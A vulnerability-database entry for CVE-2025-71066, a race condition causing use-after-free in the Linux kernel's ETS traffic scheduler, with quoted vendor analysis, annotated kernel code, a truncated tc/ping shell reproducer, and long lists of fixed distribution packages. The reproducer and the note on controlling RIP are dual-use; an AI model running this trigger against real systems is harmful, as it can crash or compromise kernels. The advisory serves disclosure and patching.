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Fencer Vulns
high 7.8

CVE-2025-71066 json

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

published 2026-01-13 9 mo ago modified 2026-08-05 3 mo ago also EUVD-2026-2266

cvss
7.8
version 3.1, CNA
cisa kev
Not listed
not in CISA's catalog
epss
0.2%
EPSS 0.2% chance of exploitation in 30 days, percentile 6%
public exploits
0
none known

Summary

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

zdi-disclosures@trendmicro.com says:

The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...

// (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch);

for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); }

WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));

for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]);

for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); }

// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch);

ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }

Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc

Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com)

``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---

Patch / fix

  • Linux Linux 5.10.248, 5.15.198, 6.1.160, 6.6.120, 6.12.64, 6.18.3, 6.19
  • linux Debian 12 6.1.162-1
  • linux Debian 13 6.12.69-1
  • linux Debian 14 6.18.3-1

debian advisories DEBIAN-CVE-2025-71066

  • linux Ubuntu 22.04 LTS 5.15.0-173.183
  • linux Ubuntu 24.04 LTS 6.8.0-110.110
  • linux Ubuntu 25.10 6.17.0-22.22
  • linux-aws Ubuntu 22.04 LTS 5.15.0-1103.110
  • linux-aws Ubuntu 24.04 LTS 6.8.0-1052.55
  • linux-aws Ubuntu 25.10 6.17.0-1012.12
  • linux-gcp Ubuntu 22.04 LTS 5.15.0-1103.112
  • linux-gcp Ubuntu 24.04 LTS 6.8.0-1054.57

ubuntu advisories UBUNTU-CVE-2025-71066

Ubuntu security data © Canonical Ltd., from https://github.com/canonical/ubuntu-security-notices via OSV; changed: normalised to fixed package versions per release. CC BY-SA 4.0

  • kernel RHEL 8 4.18.0-553.143.1.el8_10
  • perf RHEL 8 4.18.0-553.143.1.el8_10
  • bpftool RHEL 8 4.18.0-553.143.1.el8_10
  • kernel-core RHEL 8 4.18.0-553.143.1.el8_10
  • kernel-tools RHEL 8 4.18.0-553.143.1.el8_10
  • python3-perf RHEL 8 4.18.0-553.143.1.el8_10
  • kernel-modules RHEL 8 4.18.0-553.143.1.el8_10
  • kernel-zfcpdump RHEL 8 4.18.0-553.143.1.el8_10

red hat advisories RHSA-2026:39083RHSA-2026:39082RHSA-2026:36957RHSA-2026:36956

  • kernel-source Linux Micro 6.1, Linux Micro 6.0 6.4.0-41.1
  • kernel-default Linux Micro 6.1, Linux Micro 6.0 6.4.0-41.1
  • kernel-kvmsmall Linux Micro 6.1, Linux Micro 6.0 6.4.0-41.1
  • kernel-default-base Linux Micro 6.1, Linux Micro 6.0 6.4.0-41.1.21.18
  • kernel-rt SLE Micro 5.4, SLE Micro 5.3 5.14.21-150400.15.145.1
  • kernel-source-rt SLE Micro 5.4, SLE Micro 5.3 5.14.21-150400.15.145.1
  • kernel-64kb SLE Module for Basesystem 15 SP7 6.4.0-150700.53.34.1
  • kernel-syms SLE Module for Development Tools 15 SP7 6.4.0-150700.53.34.1

suse advisories SUSE-SU-2026:21123-1SUSE-SU-2026:21114-1SUSE-SU-2026:1131-1SUSE-SU-2026:1081-1SUSE-SU-2026:1077-1SUSE-SU-2026:1041-1

  • kernel-rt openSUSE Leap 16.0 6.12.0-160000.26.1
  • dtb-aarch64 openSUSE Leap 16.0 6.12.0-160000.26.1
  • kernel-64kb openSUSE Leap 16.0 6.12.0-160000.26.1
  • kernel-syms openSUSE Leap 16.0 6.12.0-160000.26.1
  • kernel-azure openSUSE Leap 16.0 6.12.0-160000.26.1
  • kernel-obs-qa openSUSE Leap 16.0 6.12.0-160000.26.1
  • kernel-source openSUSE Leap 16.0 6.12.0-160000.26.1
  • kernel-default openSUSE Leap 16.0 6.12.0-160000.26.1

opensuse advisories openSUSE-SU-2026:20287-1

  • kernel-rt AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
  • kernel-rt-core AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
  • kernel-rt-modules AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
  • kernel-rt-debug-core AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
  • kernel-rt-debug-modules AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
  • kernel-rt-modules-extra AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
  • kernel-rt-debug-modules-extra AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
  • kernel AlmaLinux 8 4.18.0-553.143.1.el8_10

almalinux advisories ALSA-2026:39082ALSA-2026:39083ALSA-2026:36956ALSA-2026:36957

  • kernel Rocky Linux 9 5.14.0-687.24.1.el9_8
  • kernel Rocky Linux 10 6.12.0-211.32.1.el10_2

rocky linux advisories RLSA-2026:36957RLSA-2026:36956

Vendor advisories

What the vendors themselves say about their products: affected, fixed or not affected, and what to do.

red hat product security vex CVE-2025-71066 updated cvss 6.2

kernel: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

  • Red Hat Enterprise Linux 9 kernel-rt, kernel-rt-kvm, kernel-rt-core, kernel-rt-modules, kernel-rt-debug-kvm, kernel-rt-debug-core, +12 more
    affected: no fix available
  • Red Hat CodeReady Linux Builder EUS (v.9.6) libperf 5.14.0-570.154.1.el9_6, kernel-debuginfo-common-s390x 5.14.0-570.154.1.el9_6, kernel-debuginfo-common-x86_64 5.14.0-570.154.1.el9_6, kernel-debuginfo-common-aarch64 5.14.0-570.154.1.el9_6, kernel-debuginfo-common-ppc64le 5.14.0-570.154.1.el9_6
    fixed: vendor fix RHSA-2026:94438
  • Red Hat Enterprise Linux AppStream (v. 9) rv 5.14.0-687.24.1.el9_8, perf 5.14.0-687.24.1.el9_8, rtla 5.14.0-687.24.1.el9_8, python3-perf 5.14.0-687.24.1.el9_8, kernel-devel-matched 5.14.0-687.24.1.el9_8, kernel-64k-devel-matched 5.14.0-687.24.1.el9_8, +7 more
    fixed: vendor fix RHSA-2026:36957
  • Red Hat Enterprise Linux AppStream (v. 10) rv 6.12.0-211.32.1.el10_2, perf 6.12.0-211.32.1.el10_2, rtla 6.12.0-211.32.1.el10_2, python3-perf 6.12.0-211.32.1.el10_2, kernel-devel-matched 6.12.0-211.32.1.el10_2, kernel-64k-devel-matched 6.12.0-211.32.1.el10_2, +7 more
    fixed: vendor fix RHSA-2026:36956
  • Red Hat Enterprise Linux AppStream E4S (v.9.2) perf 5.14.0-284.202.1.el9_2, rtla 5.14.0-284.202.1.el9_2, kernel-devel-matched 5.14.0-284.202.1.el9_2, kernel-64k-devel-matched 5.14.0-284.202.1.el9_2, kernel-debug-devel-matched 5.14.0-284.202.1.el9_2, kernel-debuginfo-common-s390x 5.14.0-284.202.1.el9_2, +5 more
    fixed: vendor fix RHSA-2026:94477
  • Red Hat Enterprise Linux AppStream E4S (v.9.4) rv 5.14.0-427.161.1.el9_4, perf 5.14.0-427.161.1.el9_4, rtla 5.14.0-427.161.1.el9_4, kernel-devel-matched 5.14.0-427.161.1.el9_4, kernel-64k-devel-matched 5.14.0-427.161.1.el9_4, kernel-debug-devel-matched 5.14.0-427.161.1.el9_4, +6 more
    fixed: vendor fix RHSA-2026:94109
  • Red Hat Enterprise Linux AppStream EUS (v. 10.0) rv 6.12.0-55.117.1.el10_0, perf 6.12.0-55.117.1.el10_0, rtla 6.12.0-55.117.1.el10_0, python3-perf 6.12.0-55.117.1.el10_0, kernel-devel-matched 6.12.0-55.117.1.el10_0, kernel-64k-devel-matched 6.12.0-55.117.1.el10_0, +7 more
    fixed: vendor fix RHSA-2026:94508
  • Red Hat Enterprise Linux AppStream EUS (v.9.6) rv 5.14.0-570.154.1.el9_6, perf 5.14.0-570.154.1.el9_6, rtla 5.14.0-570.154.1.el9_6, python3-perf 5.14.0-570.154.1.el9_6, kernel-devel-matched 5.14.0-570.154.1.el9_6, kernel-64k-devel-matched 5.14.0-570.154.1.el9_6, +7 more
    fixed: vendor fix RHSA-2026:94438
show 28 more
  • Red Hat Enterprise Linux BaseOS (v. 8) perf 4.18.0-553.143.1.el8_10, kernel 4.18.0-553.143.1.el8_10, bpftool 4.18.0-553.143.1.el8_10, kernel-core 4.18.0-553.143.1.el8_10, kernel-tools 4.18.0-553.143.1.el8_10, python3-perf 4.18.0-553.143.1.el8_10, +15 more
    fixed: vendor fix RHSA-2026:39083
  • Red Hat Enterprise Linux BaseOS (v. 9) kernel 5.14.0-687.24.1.el9_8, kernel-64k 5.14.0-687.24.1.el9_8, kernel-core 5.14.0-687.24.1.el9_8, kernel-tools 5.14.0-687.24.1.el9_8, kernel-modules 5.14.0-687.24.1.el9_8, kernel-64k-core 5.14.0-687.24.1.el9_8, +27 more
    fixed: vendor fix RHSA-2026:36957
  • Red Hat Enterprise Linux BaseOS (v. 10) kernel 6.12.0-211.32.1.el10_2, kernel-64k 6.12.0-211.32.1.el10_2, kernel-core 6.12.0-211.32.1.el10_2, kernel-tools 6.12.0-211.32.1.el10_2, kernel-modules 6.12.0-211.32.1.el10_2, kernel-64k-core 6.12.0-211.32.1.el10_2, +28 more
    fixed: vendor fix RHSA-2026:36956
  • Red Hat Enterprise Linux BaseOS AUS (v.8.6) perf 4.18.0-372.227.1.el8_6, kernel 4.18.0-372.227.1.el8_6, bpftool 4.18.0-372.227.1.el8_6, kernel-core 4.18.0-372.227.1.el8_6, kernel-tools 4.18.0-372.227.1.el8_6, python3-perf 4.18.0-372.227.1.el8_6, +8 more
    fixed: vendor fix RHSA-2026:94996
  • Red Hat Enterprise Linux BaseOS E4S (v.9.2) bpftool 7.0.0-284.202.1.el9_2, kernel 5.14.0-284.202.1.el9_2, kernel-64k 5.14.0-284.202.1.el9_2, kernel-core 5.14.0-284.202.1.el9_2, kernel-tools 5.14.0-284.202.1.el9_2, python3-perf 5.14.0-284.202.1.el9_2, +28 more
    fixed: vendor fix RHSA-2026:94477
  • Red Hat Enterprise Linux BaseOS E4S (v.9.4) bpftool 7.3.0-427.161.1.el9_4, kernel 5.14.0-427.161.1.el9_4, kernel-64k 5.14.0-427.161.1.el9_4, kernel-core 5.14.0-427.161.1.el9_4, kernel-tools 5.14.0-427.161.1.el9_4, python3-perf 5.14.0-427.161.1.el9_4, +28 more
    fixed: vendor fix RHSA-2026:94109
  • Red Hat Enterprise Linux BaseOS EUS (v. 10.0) kernel 6.12.0-55.117.1.el10_0, kernel-64k 6.12.0-55.117.1.el10_0, kernel-core 6.12.0-55.117.1.el10_0, kernel-tools 6.12.0-55.117.1.el10_0, kernel-modules 6.12.0-55.117.1.el10_0, kernel-64k-core 6.12.0-55.117.1.el10_0, +27 more
    fixed: vendor fix RHSA-2026:94508
  • Red Hat Enterprise Linux BaseOS EUS (v.9.6) kernel 5.14.0-570.154.1.el9_6, kernel-64k 5.14.0-570.154.1.el9_6, kernel-core 5.14.0-570.154.1.el9_6, kernel-tools 5.14.0-570.154.1.el9_6, kernel-modules 5.14.0-570.154.1.el9_6, kernel-64k-core 5.14.0-570.154.1.el9_6, +27 more
    fixed: vendor fix RHSA-2026:94438
  • Red Hat Enterprise Linux BaseOS EUS EXTENSION (v.8.6) perf 4.18.0-372.227.1.el8_6, kernel 4.18.0-372.227.1.el8_6, bpftool 4.18.0-372.227.1.el8_6, kernel-core 4.18.0-372.227.1.el8_6, kernel-tools 4.18.0-372.227.1.el8_6, python3-perf 4.18.0-372.227.1.el8_6, +8 more
    fixed: vendor fix RHSA-2026:94996
  • Red Hat Enterprise Linux CodeReady Linux Builder (v. 9) libperf 5.14.0-687.24.1.el9_8, kernel-debuginfo-common-s390x 5.14.0-687.24.1.el9_8, kernel-debuginfo-common-x86_64 5.14.0-687.24.1.el9_8, kernel-debuginfo-common-aarch64 5.14.0-687.24.1.el9_8, kernel-debuginfo-common-ppc64le 5.14.0-687.24.1.el9_8
    fixed: vendor fix RHSA-2026:36957
  • Red Hat Enterprise Linux CodeReady Linux Builder (v. 10) libperf 6.12.0-211.32.1.el10_2, kernel-debuginfo-common-s390x 6.12.0-211.32.1.el10_2, kernel-debuginfo-common-x86_64 6.12.0-211.32.1.el10_2, kernel-debuginfo-common-aarch64 6.12.0-211.32.1.el10_2, kernel-debuginfo-common-ppc64le 6.12.0-211.32.1.el10_2
    fixed: vendor fix RHSA-2026:36956
  • Red Hat Enterprise Linux CodeReady Linux Builder EUS (v. 10.0) libperf 6.12.0-55.117.1.el10_0, kernel-debuginfo-common-s390x 6.12.0-55.117.1.el10_0, kernel-debuginfo-common-x86_64 6.12.0-55.117.1.el10_0, kernel-debuginfo-common-aarch64 6.12.0-55.117.1.el10_0, kernel-debuginfo-common-ppc64le 6.12.0-55.117.1.el10_0
    fixed: vendor fix RHSA-2026:94508
  • Red Hat Enterprise Linux CRB (v. 8) kernel-debuginfo-common-x86_64 4.18.0-553.143.1.el8_10, kernel-debuginfo-common-aarch64 4.18.0-553.143.1.el8_10, kernel-debuginfo-common-ppc64le 4.18.0-553.143.1.el8_10
    fixed: vendor fix RHSA-2026:39083
  • Red Hat Enterprise Linux NFV (v. 8) kernel-rt 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-kvm 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-core 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-modules 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-debug-kvm 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-debug-core 4.18.0-553.143.1.rt7.484.el8_10, +4 more
    fixed: vendor fix RHSA-2026:39082
  • Red Hat Enterprise Linux Real Time (v. 9) kernel-rt 5.14.0-687.24.1.el9_8, kernel-rt-64k 5.14.0-687.24.1.el9_8, kernel-rt-core 5.14.0-687.24.1.el9_8, kernel-rt-modules 5.14.0-687.24.1.el9_8, kernel-rt-64k-core 5.14.0-687.24.1.el9_8, kernel-rt-debug-core 5.14.0-687.24.1.el9_8, +14 more
    fixed: vendor fix RHSA-2026:36957
  • Red Hat Enterprise Linux Real Time (v. 10) kernel-rt 6.12.0-211.32.1.el10_2, kernel-rt-64k 6.12.0-211.32.1.el10_2, kernel-rt-core 6.12.0-211.32.1.el10_2, kernel-rt-modules 6.12.0-211.32.1.el10_2, kernel-rt-64k-core 6.12.0-211.32.1.el10_2, kernel-rt-debug-core 6.12.0-211.32.1.el10_2, +14 more
    fixed: vendor fix RHSA-2026:36956
  • Red Hat Enterprise Linux Real Time E4S (v.9.2) kernel-rt 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-core 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-modules 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-debug-core 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-modules-core 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-debug-modules 5.14.0-284.202.1.rt14.487.el9_2, +4 more
    fixed: vendor fix RHSA-2026:94558
  • Red Hat Enterprise Linux Real Time E4S (v.9.4) kernel-rt 5.14.0-427.161.1.el9_4, kernel-rt-core 5.14.0-427.161.1.el9_4, kernel-rt-modules 5.14.0-427.161.1.el9_4, kernel-rt-debug-core 5.14.0-427.161.1.el9_4, kernel-rt-modules-core 5.14.0-427.161.1.el9_4, kernel-rt-debug-modules 5.14.0-427.161.1.el9_4, +4 more
    fixed: vendor fix RHSA-2026:94109
  • Red Hat Enterprise Linux Real Time EUS (v. 10.0) kernel-rt 6.12.0-55.117.1.el10_0, kernel-rt-64k 6.12.0-55.117.1.el10_0, kernel-rt-core 6.12.0-55.117.1.el10_0, kernel-rt-modules 6.12.0-55.117.1.el10_0, kernel-rt-64k-core 6.12.0-55.117.1.el10_0, kernel-rt-debug-core 6.12.0-55.117.1.el10_0, +14 more
    fixed: vendor fix RHSA-2026:94508
  • Red Hat Enterprise Linux Real Time EUS (v.9.6) kernel-rt 5.14.0-570.154.1.el9_6, kernel-rt-64k 5.14.0-570.154.1.el9_6, kernel-rt-core 5.14.0-570.154.1.el9_6, kernel-rt-modules 5.14.0-570.154.1.el9_6, kernel-rt-64k-core 5.14.0-570.154.1.el9_6, kernel-rt-debug-core 5.14.0-570.154.1.el9_6, +14 more
    fixed: vendor fix RHSA-2026:94438
  • Red Hat Enterprise Linux Real Time for NFV (v. 9) kernel-rt 5.14.0-687.24.1.el9_8, kernel-rt-core 5.14.0-687.24.1.el9_8, kernel-rt-modules 5.14.0-687.24.1.el9_8, kernel-rt-debug-core 5.14.0-687.24.1.el9_8, kernel-rt-modules-core 5.14.0-687.24.1.el9_8, kernel-rt-debug-modules 5.14.0-687.24.1.el9_8, +4 more
    fixed: vendor fix RHSA-2026:36957
  • Red Hat Enterprise Linux Real Time for NFV (v. 10) kernel-rt 6.12.0-211.32.1.el10_2, kernel-rt-core 6.12.0-211.32.1.el10_2, kernel-rt-modules 6.12.0-211.32.1.el10_2, kernel-rt-debug-core 6.12.0-211.32.1.el10_2, kernel-rt-modules-core 6.12.0-211.32.1.el10_2, kernel-rt-debug-modules 6.12.0-211.32.1.el10_2, +4 more
    fixed: vendor fix RHSA-2026:36956
  • Red Hat Enterprise Linux Real Time for NFV E4S (v.9.2) kernel-rt 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-kvm 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-core 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-modules 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-debug-kvm 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-debug-core 5.14.0-284.202.1.rt14.487.el9_2, +6 more
    fixed: vendor fix RHSA-2026:94558
  • Red Hat Enterprise Linux Real Time for NFV E4S (v.9.4) kernel-rt 5.14.0-427.161.1.el9_4, kernel-rt-kvm 5.14.0-427.161.1.el9_4, kernel-rt-core 5.14.0-427.161.1.el9_4, kernel-rt-modules 5.14.0-427.161.1.el9_4, kernel-rt-debug-kvm 5.14.0-427.161.1.el9_4, kernel-rt-debug-core 5.14.0-427.161.1.el9_4, +6 more
    fixed: vendor fix RHSA-2026:94109
  • Red Hat Enterprise Linux Real Time for NFV EUS (v. 10.0) kernel-rt 6.12.0-55.117.1.el10_0, kernel-rt-kvm 6.12.0-55.117.1.el10_0, kernel-rt-core 6.12.0-55.117.1.el10_0, kernel-rt-modules 6.12.0-55.117.1.el10_0, kernel-rt-debug-kvm 6.12.0-55.117.1.el10_0, kernel-rt-debug-core 6.12.0-55.117.1.el10_0, +6 more
    fixed: vendor fix RHSA-2026:94508
  • Red Hat Enterprise Linux Real Time for NFV EUS (v.9.6) kernel-rt 5.14.0-570.154.1.el9_6, kernel-rt-kvm 5.14.0-570.154.1.el9_6, kernel-rt-core 5.14.0-570.154.1.el9_6, kernel-rt-modules 5.14.0-570.154.1.el9_6, kernel-rt-debug-kvm 5.14.0-570.154.1.el9_6, kernel-rt-debug-core 5.14.0-570.154.1.el9_6, +6 more
    fixed: vendor fix RHSA-2026:94438
  • Red Hat Enterprise Linux RT (v. 8) kernel-rt 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-core 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-modules 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-debug-core 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-debug-modules 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-modules-extra 4.18.0-553.143.1.rt7.484.el8_10, +2 more
    fixed: vendor fix RHSA-2026:39082
  • Red Hat Enterprise Linux 6 perf, kernel, python-perf, kernel-kdump, kernel-firmware, kernel-bootwrapper, +1 more Red Hat Enterprise Linux 7 perf, kernel, bpftool, kernel-rt, python-perf, kernel-kdump, +8 more
    not affected: vulnerable code not present

Red Hat CSAF VEX © Red Hat, Inc., from https://security.access.redhat.com/data/csaf/v2/vex/; changed: reduced to product statuses and remediations. CC BY 4.0 · csaf

CISA SSVC

Exploitation
none
Automatable
no
Technical impact
total
Assessed
5 mo ago

Exploit prediction

0.17% chance of exploitation in the next 30 days, higher than 6% of all scored CVEs (FIRST EPSS, 2026-11-08).

CVSS scores

assigned by version score vector
CNA 3.1 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CISA ADP 3.1 7.5 CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
CNA 3.1 7.5 CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected products

  • Linux Linux

Classification

Weakness
  • CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization
Technology feeds

References

Sources

Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.